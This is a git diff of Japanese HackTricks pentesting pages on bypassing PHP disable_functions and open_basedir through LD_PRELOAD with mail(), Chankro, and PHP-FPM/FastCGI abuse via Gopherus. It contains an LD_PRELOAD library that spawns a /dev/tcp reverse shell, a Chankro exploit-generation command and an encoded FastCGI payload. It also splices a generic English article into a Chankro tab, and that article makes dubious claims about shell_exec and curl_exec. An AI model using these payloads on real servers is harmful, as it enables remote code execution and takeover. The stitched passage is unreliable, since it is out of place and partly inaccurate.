-`mail()`などのPHPの一部の関数が**システム内のバイナリを実行**することがよく知られています。したがって、環境変数`LD_PRELOAD`を使用して、任意のコードを実行できる任意のライブラリを読み込ませることができます。 +`mail()`のようなPHPの一部の関数が**システム内のバイナリを実行**することがよく知られています。したがって、`LD_PRELOAD`環境変数を使用して、任意のコードを実行できるライブラリを読み込ませることができます。 #### LD\_PRELOADを使用してdisable\_functionsをバイパスするために使用できる関数 @@ -545,12 +518,11 @@ echo $client->request($params, $code)."\n"; * **`imap_mail`**: `php-imap`モジュールが存在する場合に機能します。 * **`libvirt_connect`**: `php-libvirt-php`モジュールが必要です。 * **`gnupg_init`**: `php-gnupg`モジュールがインストールされている場合に利用可能です。 -* **`new imagick()`**: このクラスは制限をバイパスするために悪用できます。詳細なエクスプロイト手法は包括的な[**こちらの解説**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/)にあります。 +* **`new imagick()`**: このクラスは制限をバイパスするために悪用できます。詳細なエクスプロイト技術は包括的な[**こちらの解説**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/)にあります。 これらの関数を見つけるために使用されたファジングスクリプトは[**こちら**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py)にあります。 以下は、`LD_PRELOAD`環境変数を悪用するためにコンパイルできるライブラリです: - ```php #include #include @@ -563,14 +535,13 @@ system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\""); return 1; } ``` - #### Chankroを使用したバイパス -この設定ミスを悪用するためには、[**Chankro**](https://github.com/TarlogicSecurity/Chankro)を使用できます。これは、**アップロードする必要のあるPHPエクスプロイト**を生成するツールです(脆弱性のあるサーバーにアクセスして実行します)。\ -**Chankro**は、**実行したいライブラリとリバースシェル**を被害者のディスクに書き込み、\*\*`LD_PRELOAD`トリック + PHP `mail()`\*\*関数を使用してリバースシェルを実行します。 +このミス構成を悪用するためには、[**Chankro**](https://github.com/TarlogicSecurity/Chankro)を使用できます。これは、**アップロードする必要のあるPHPエクスプロイト**を生成するツールです(Web経由でアクセス)。\ +**Chankro**は、**実行したいライブラリとリバースシェル**を被害者のディスクに書き込み、**`LD_PRELOAD`トリック + PHP `mail()`**関数を使用してリバースシェルを実行します。 **Chankro**を使用するには、`disable_functions`リスト内に`mail`と`putenv`が**含まれていてはいけません**。\ -次の例では、**arch 64**向けに**Chankroエクスプロイトを作成**し、`whoami`を実行して出力を\_tmp/chankro\_shell.out\_に保存し、Chankroは**ライブラリとペイロード**を\_tmp\_に書き込み、**最終的なエクスプロイト**は**bicho.php**と呼ばれます(これを被害者のサーバーにアップロードする必要があるファイルです): +次の例では、**arch 64**向けの**Chankroエクスプロイトを作成**し、`whoami`を実行して出力を_tmp/chankro\_shell.out_に保存します。Chankroは**ライブラリとペイロード**を_tmpに書き込み、**最終的なエクスプロイト**は**bicho.php**と呼ばれます(これを被害者のサーバーにアップロードする必要があるファイルです): {% tabs %} {% tab title="shell.sh" %} @@ -578,50 +549,56 @@ return 1; #!/bin/sh whoami > /tmp/chankro_shell.out ``` +{% endtab %} -### PHP Useful Functions - disable\_functions & open\_basedir Bypass +{% tab title="Chankro" %} -#### disable\_functions Bypass +## PHP Useful Functions - disable_functions & open_basedir Bypass -To bypass the `disable_functions` restriction in PHP, you can use the following techniques: +### Introduction -1. **system() Function**: If the `system()` function is not disabled, you can execute shell commands using it. -2. **exec() Function**: Similar to `system()`, if `exec()` is enabled, you can run shell commands. -3. **shell\_exec() Function**: This function also allows executing shell commands. +In this article, we will discuss some PHP functions that can be used to bypass the `disable_functions` and `open_basedir` restrictions in PHP environments. -#### open\_basedir Bypass +### disable_functions Bypass -To bypass the `open_basedir` restriction in PHP, you can try the following methods: +When the `disable_functions` directive is set in the PHP configuration, certain functions are disabled for security reasons. However, there are ways to bypass this restriction using functions that are not included in the `disable_functions` list. -1. **cURL**: You can use cURL to access files outside the restricted directory. -2. **file\_get\_contents() Function**: By using this function, you may be able to read files outside the restricted path. -3. **fopen() Function**: If `fopen()` is not restricted, you can open files outside the specified directory. +One common technique is to use the `shell_exec` function to execute shell commands, as it is not always restricted by `disable_functions`. By leveraging this function, an attacker can execute arbitrary commands on the server. -Remember, these bypass techniques should only be used for educational purposes and ethical hacking. +### open_basedir Bypass +The `open_basedir` directive restricts the files that PHP can access to the specified directory tree. However, there are methods to bypass this restriction as well. + +One way to bypass `open_basedir` is by using the `curl_exec` function to make HTTP requests to external servers. Since `curl_exec` is not affected by `open_basedir`, an attacker can use this function to exfiltrate sensitive data or execute malicious code. + +### Conclusion + +It is important for developers and system administrators to be aware of these bypass techniques in order to secure PHP applications effectively. By understanding how these functions can be abused, appropriate measures can be taken to mitigate the risks associated with `disable_functions` and `open_basedir` restrictions. + +{% endtab %} ```bash python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php ``` {% endtab %} {% endtabs %} -**mail** 関数が無効化された関数によってブロックされている場合、**mb\_send\_mail** 関数を使用することができるかもしれません。\ +**mail** 関数が無効化されている場合、**mb\_send\_mail** 関数を使用することができるかもしれません。\ このテクニックと Chankro についての詳細はこちら: [https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/) ### PHP 機能を使用した "Bypass" **PHP** を使用すると、**ファイルの読み書き、ディレクトリの作成、権限の変更**ができます。\ さらには**データベースのダンプ**も可能です。\ -**PHP** を使用してボックスを列挙することで、特権の昇格/コマンドの実行方法を見つけることができるかもしれません(たとえば、一部のプライベートな ssh キーを読み取るなど)。 +**PHP** を使用してボックスを列挙することで、特権の昇格/コマンドの実行方法を見つけることができるかもしれません(たとえば、一部のプライベート ssh キーを読み取るなど)。 -これらのアクションを実行するのが非常に簡単な Web シェルを作成しました(ほとんどの Web シェルもこのオプションを提供します): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) +これらのアクションを簡単に実行できる Web シェルを作成しました(ほとんどの Web シェルもこのオプションを提供します): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) ### モジュール/バージョン依存のバイパス 特定のモジュールが使用されている場合や特定の PHP バージョンを悪用する場合、disable\_functions をバイパスする方法がいくつかあります: * [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable\_functions-bypass-php-fpm-fastcgi.md) -* [**FFI - Foreign Function Interface が有効化されている場合のバイパス**](https://github.com/carlospolop/hacktricks/blob/jp/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/broken-reference/README.md) +* [**FFI - Foreign Function Interface が有効化されている場合のバイパス**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/broken-reference/README.md) * [**mem 経由のバイパス**](disable\_functions-bypass-via-mem.md) * [**mod\_cgi**](disable\_functions-bypass-mod\_cgi.md) * [**PHP Perl 拡張機能 Safe\_mode**](disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md) @@ -634,7 +611,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php * 7.3 - 現在までのすべてのバージョン * 7.4 - 現在までのすべてのバージョン * 8.0 - 現在までのすべてのバージョン -* [**7.0 から 8.0 への悪用(Unix のみ)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) +* [**7.0 から 8.0 までの悪用(Unix のみ)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) * [**PHP 7.0=7.4 (\*nix)**](disable\_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only) * [**Imagick 3.3.0 PHP >= 5.4**](disable\_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) * [**PHP 5.x Shellsock**](disable\_functions-php-5.x-shellshock-exploit.md) @@ -658,8 +635,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php) -[ここからリストをフォロー](https://stackoverflow.com/questions/3115559/exploitable-php-functions) - +[ここからのリスト](https://stackoverflow.com/questions/3115559/exploitable-php-functions) ```php // Function => Position of callback arguments 'ob_start' => 0, @@ -695,11 +671,9 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php 'sqlite_create_aggregate' => array(2, 3), 'sqlite_create_function' => 2, ``` +### 情報開示 -### 情報漏洩 - -これらの関数呼び出しのほとんどはシンクではありません。むしろ、返されたデータのいずれかが攻撃者に見える場合には脆弱性となる可能性があります。攻撃者がphpinfo()を見ることができる場合、それは間違いなく脆弱性です。 - +これらの関数呼び出しのほとんどはシンクではありません。むしろ、返されるデータのいずれかが攻撃者に見える場合には脆弱性となる可能性があります。攻撃者がphpinfo()を見ることができる場合、それは間違いなく脆弱性です。 ```php phpinfo posix_mkfifo @@ -719,9 +693,7 @@ getmyinode getmypid getmyuid ``` - ### その他 - ```php extract // Opens the door for register_globals attacks (see study in scarlet). parse_str // works like extract if only one argument is given. @@ -741,13 +713,11 @@ posix_setpgid posix_setsid posix_setuid ``` - ### ファイルシステム関数 -RATSによると、PHPのすべてのファイルシステム関数は悪質です。これらのうちいくつかは、攻撃者にとってあまり役に立たないように見えるかもしれません。他のものは思っているよりも有用です。たとえば、allow\_url\_fopen=Onの場合、URLをファイルパスとして使用できるため、copy($\_GET\['s'], $\_GET\['d']);を呼び出すことで、PHPスクリプトをシステムのどこにでもアップロードできます。また、サイトがGET経由で送信されたリクエストに対して脆弱である場合、これらのファイルシステム関数のすべてが悪用され、攻撃を別のホストにチャネル化するためにサーバーを介して使用される可能性があります。 - -**ファイルシステムハンドラのオープン** +RATSによると、phpのすべてのファイルシステム関数は悪質です。これらのうちいくつかは、攻撃者にとってあまり役に立たないように見えるかもしれません。他のものは思っているよりも有用です。たとえば、allow\_url\_fopen=Onの場合、urlをファイルパスとして使用できるため、copy($\_GET\['s'], $\_GET\['d']);を呼び出すと、PHPスクリプトをシステムのどこにでもアップロードできます。また、サイトがGET経由で送信されたリクエストに対して脆弱である場合、これらのファイルシステム関数のすべてを悪用して、攻撃を別のホストにチャネル化することができます。 +**オープンファイルシステムハンドラ** ```php fopen tmpfile @@ -755,9 +725,7 @@ bzopen gzopen SplFileObject->__construct ``` - **ファイルシステムに書き込む(一部は読み取りと組み合わせて)** - ```php chgrp chmod @@ -788,9 +756,7 @@ ftp_get ftp_nb_get scandir ``` - **ファイルシステムから読み取る** - ```php file_exists -- file_get_contents @@ -846,17 +812,16 @@ sha1_file php_strip_whitespace get_meta_tags ``` -
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**で**フォロー\*\*する。 -* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する。** +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする** +* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリに
diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md index d82d20158..21ceb6154 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md @@ -1,70 +1,66 @@ -# disable\_functions bypass - php-fpm/FastCGI +# disable_functionsバイパス - php-fpm/FastCGI
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)を使って学ぶ! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f) **に参加**または [telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。 -* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。 +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。 +- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
## PHP-FPM -**PHP-FPM** は、特に **高トラフィックのウェブサイト** に適した機能を提供する、標準のPHP FastCGI に対する **優れた代替手段** として提示されています。これは、複数のワーカープロセスを監視するマスタープロセスを介して動作します。PHPスクリプトのリクエストに対して、ウェブサーバーが **FastCGIプロキシ接続をPHP-FPMサービスに開始** します。このサービスは、 **サーバー上のネットワークポートまたはUnixソケットを介してリクエストを受け取る能力** を持っています。 +**PHP-FPM**は、特に**高トラフィックのウェブサイト**向けに有益な機能を提供する、標準のPHP FastCGIに対する**優れた代替手段**として提示されています。これは、複数のワーカープロセスを監視するマスタープロセスを介して動作します。PHPスクリプトのリクエストに対して、ウェブサーバーが**FastCGIプロキシ接続をPHP-FPMサービスに開始**します。このサービスは、**サーバー上のネットワークポートまたはUnixソケットを介してリクエストを受け取る能力**を持っています。 -プロキシ接続の中間的な役割にもかかわらず、PHP-FPMはウェブサーバーと同じマシンで動作する必要があります。プロキシベースの接続を使用しているため、従来のプロキシ接続とは異なります。リクエストを受け取ると、PHP-FPMの利用可能なワーカーがリクエストを処理し、PHPスクリプトを実行してその結果をウェブサーバーに転送します。ワーカーがリクエストの処理を終えると、次のリクエストのために再度利用可能になります。 +プロキシ接続の中間的な役割にもかかわらず、PHP-FPMはウェブサーバーと同じマシンで動作する必要があります。プロキシベースの接続を使用しているにもかかわらず、通常のプロキシ接続とは異なります。リクエストを受け取ると、PHP-FPMの利用可能なワーカーがそれを処理し、PHPスクリプトを実行してその結果をウェブサーバーに返します。ワーカーがリクエストの処理を終えると、次のリクエストのために再び利用可能になります。 -## しかし、CGI と FastCGI とは何でしょうか? +## しかし、CGIとFastCGIとは何でしょうか? ### CGI -通常、ウェブページ、ファイル、およびブラウザに転送されるすべてのドキュメントは、home/user/public\_html などの特定のパブリックディレクトリに保存されます。 **ブラウザが特定のコンテンツをリクエストすると、サーバーはこのディレクトリをチェックし、必要なファイルをブラウザに送信します**。 +通常、Webページ、ファイル、およびWebサーバーからブラウザに転送されるすべてのドキュメントは、home/user/public_htmlなどの特定のパブリックディレクトリに保存されます。**ブラウザが特定のコンテンツをリクエストすると、サーバーはこのディレクトリをチェックし、必要なファイルをブラウザに送信します**。 -サーバーに **CGI** がインストールされている場合、特定の cgi-bin ディレクトリも追加されます。たとえば、home/user/public\_html/cgi-bin です。CGIスクリプトはこのディレクトリに保存されます。 **ディレクトリ内の各ファイルは実行可能プログラムとして扱われます**。ディレクトリからスクリプトにアクセスすると、サーバーはファイルの内容をブラウザに送信する代わりに、このスクリプトに対応するアプリケーションにリクエストを送信します。 **入力データの処理が完了すると、アプリケーションは出力データを** ウェブサーバーに送信し、ウェブサーバーはデータをHTTPクライアントに転送します。 +サーバーに**CGI**がインストールされている場合、特定のcgi-binディレクトリも追加されます。たとえば、home/user/public_html/cgi-binです。CGIスクリプトはこのディレクトリに保存されます。**ディレクトリ内の各ファイルは実行可能プログラムとして扱われます**。ディレクトリからスクリプトにアクセスすると、サーバーはファイルの内容をブラウザに送信する代わりに、このスクリプトに対応するアプリケーションにリクエストを送信します。**入力データの処理が完了すると、アプリケーションは出力データを**Webサーバーに送信し、WebサーバーはデータをHTTPクライアントに転送します。 -たとえば、CGIスクリプト [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/\*\*cgi-bin/file.pl\*\*) にアクセスすると、サーバーは適切なPerlアプリケーションをCGIを介して実行します。スクリプトの実行から生成されたデータは、アプリケーションによってウェブサーバーに送信されます。一方、サーバーはデータをブラウザに転送します。サーバーにCGIがない場合、ブラウザは **.pl** ファイルのコード自体を表示していたでしょう。([ここ](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)からの説明) +たとえば、CGIスクリプト[http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/\*\*cgi-bin/file.pl\*\*)にアクセスすると、サーバーはCGIを介して適切なPerlアプリケーションを実行します。スクリプトの実行から生成されたデータは、アプリケーションによってWebサーバーに送信されます。一方、サーバーはデータをブラウザに転送します。サーバーにCGIがない場合、ブラウザは**.pl**ファイルのコード自体を表示していたでしょう。([こちら](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)の説明より) ### FastCGI -[FastCGI](https://en.wikipedia.org/wiki/FastCGI) は、新しいウェブ技術であり、主な機能は同じままである改良された [CGI](http://en.wikipedia.org/wiki/Common\_Gateway\_Interface) のバージョンです。 +[FastCGI](https://en.wikipedia.org/wiki/FastCGI)は、新しいWeb技術であり、主な機能は同じままである改良された[CGI](http://en.wikipedia.org/wiki/Common\_Gateway\_Interface)バージョンです。 -FastCGI を開発する必要があったのは、アプリケーションの急速な開発と複雑さによってWebが生じ、さらにCGI技術の拡張性の欠点に対処するためでした。これらの要件を満たすために、[Open Market](http://en.wikipedia.org/wiki/Open\_Market) は **高性能なCGI技術の拡張機能を備えたCGI技術の高性能バージョンであるFastCGI** を導入しました。 +FastCGIを開発する必要があったのは、Webがアプリケーションの急速な発展と複雑さによって生じ、またCGI技術の拡張性の欠点に対処する必要があったためです。これらの要件を満たすために、[Open Market](http://en.wikipedia.org/wiki/Open\_Market)は**高性能なCGI技術の拡張機能を備えたFastCGI**を導入しました。 -## disable\_functions バイパス +## disable_functionsバイパス -`disable_functions` 制限を回避して、FastCGI を悪用してPHPコードを実行することが可能です。 +`disable_functions`の制限を回避してPHPコードを実行し、FastCGIを悪用することが可能です。 -### Gopherus を使用する +### Gopherusを使用 {% hint style="danger" %} -現代のバージョンで機能するかどうかはわかりません。一度試してみましたが、何も実行されませんでした。これに関する詳細情報がある場合は、[**こちらのPEASS&HackTricks telegramグループ**](https://github.com/carlospolop/hacktricks/blob/jp/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/\[\*\*https:/t.me/peass\*\*]\(https:/t.me/peass\)/README.md) か、twitter [**@carlospolopm**](https://github.com/carlospolop/hacktricks/blob/jp/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/\[\*\*https:/twitter.com/hacktricks\_live\*\*]\(https:/twitter.com/hacktricks\_live\)/README.md) までお問い合わせください。 +現代のバージョンでこれが機能しているかどうかはわかりません。一度試してみましたが、何も実行されませんでした。これに関する詳細情報がある場合は、\[[**こちらのPEASS&HackTricksテレグラムグループ**]\([**https://t.me/peass**](https://t.me/peass))またはTwitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks\_live**](https://twitter.com/hacktricks\_live))**を通じてお問い合わせください**。 {% endhint %} -[Gopherus](https://github.com/tarunkant/Gopherus) を使用して、FastCGI リスナーに送信するペイロードを生成し、任意のコマンドを実行できます: - -![](<../../../../.gitbook/assets/image (351).png>) - -次に、urlエンコードされたペイロードを取得し、デコードしてbase64に変換し、例えば [このcyberchefのレシピを使用して](http://icyberchef.com/#recipe=URL\_Decode%28%29To\_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)。そして、このbase64を次のPHPコードにコピー&ペーストします: +[Gopherus](https://github.com/tarunkant/Gopherus)を使用して、FastCGIリスナーに送信するペイロードを生成し、任意のコマンドを実行できます: +![](<../../../../.gitbook/assets/image (227).png>) +その後、urlエンコードされたペイロードを取得してデコードし、base64に変換します。\[**たとえば、このサイバーシェフのレシピを使用して**]\([http://icyberchef.com/#recipe=URL\_Decode%28%29To\_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL\_Decode%28%29To\_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)\)。そして、base64をこのphpコードにコピー/ペーストします: ```php request($params, $code)."\n"; ?> ``` +前の関数を使用すると、**`system`** 関数が**無効のまま**であることがわかりますが、**`phpinfo()`** は **`disable_functions`** が**空**であることを示しています: -前の関数を使用すると、**`system`** 関数は**まだ無効**ですが、**`phpinfo()`** は **`disable_functions`** が**空**であることを示しています: +![](<../../../../.gitbook/assets/image (188).png>) -![](<../../../../.gitbook/assets/image (352).png>) +![](<../../../../.gitbook/assets/image (713).png>) -![](<../../../../.gitbook/assets/image (353).png>) - -**したがって、`disable_functions` は php の `.ini` 構成ファイルを介してのみ設定でき、PHP\_VALUE はその設定を上書きしません。** +**したがって、`disable_functions` を php の `.ini` 構成ファイルを介してのみ設定でき、PHP\_VALUE はその設定を上書きしないと思います。** ### [**FuckFastGCI**](https://github.com/w181496/FuckFastcgi) これは、`open_basedir` と `disable_functions` をバイパスするために fastcgi プロトコルを悪用する php スクリプトです。\ これは、悪意のある拡張機能を読み込むことで厳格な `disable_functions` をバイパスして RCE するのに役立ちます。\ -こちらからアクセスできます:[https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) または、わずかに改良されたバージョンはこちら:[https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi) +ここでアクセスできます:[https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) または、わずかに改良されたバージョンはこちら:[https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi) -この脆弱性を悪用するためには、前のコードと非常に似ていますが、`disable_functions` をバイパスしようとする代わりに、`extension_dir` と `extension` パラメータを使用して外部の PHP モジュールを読み込んでコードを実行しようとします。変数 `PHP_ADMIN_VALUE` 内に。\ -**注意1**:おそらく、サーバーが使用している **同じ PHP バージョンで** 拡張機能を **再コンパイル** する必要があります(phpinfo の出力内で確認できます): +この脆弱性を悪用するためには、前のコードと非常に似ていることがわかりますが、PHP\_VALUE を使用して `disable_functions` をバイパスしようとする代わりに、`extension_dir` と `extension` パラメータを使用して外部の PHP モジュールを読み込んでコードを実行しようとします。変数 `PHP_ADMIN_VALUE` 内。\ +**注意1**:おそらく、サーバーが使用している **同じ PHP バージョン** で拡張機能を **再コンパイル** する必要があります(phpinfo の出力内で確認できます): -![](<../../../../.gitbook/assets/image (354).png>) +![](<../../../../.gitbook/assets/image (180).png>) {% hint style="danger" %} -**注意2**:私は `extension_dir` と `extension` の値を PHP の `.ini` 構成ファイルに挿入することで、この作業を行うことができました(サーバーを攻撃して行うことはできません)。ただし、この脆弱性を使用して `PHP_ADMIN_VALUE` 変数から拡張機能を読み込むと、プロセスが突然終了するため、このテクニックがまだ有効かどうかはわかりません。 +**注意2**:私は、`extension_dir` と `extension` の値を PHP の `.ini` 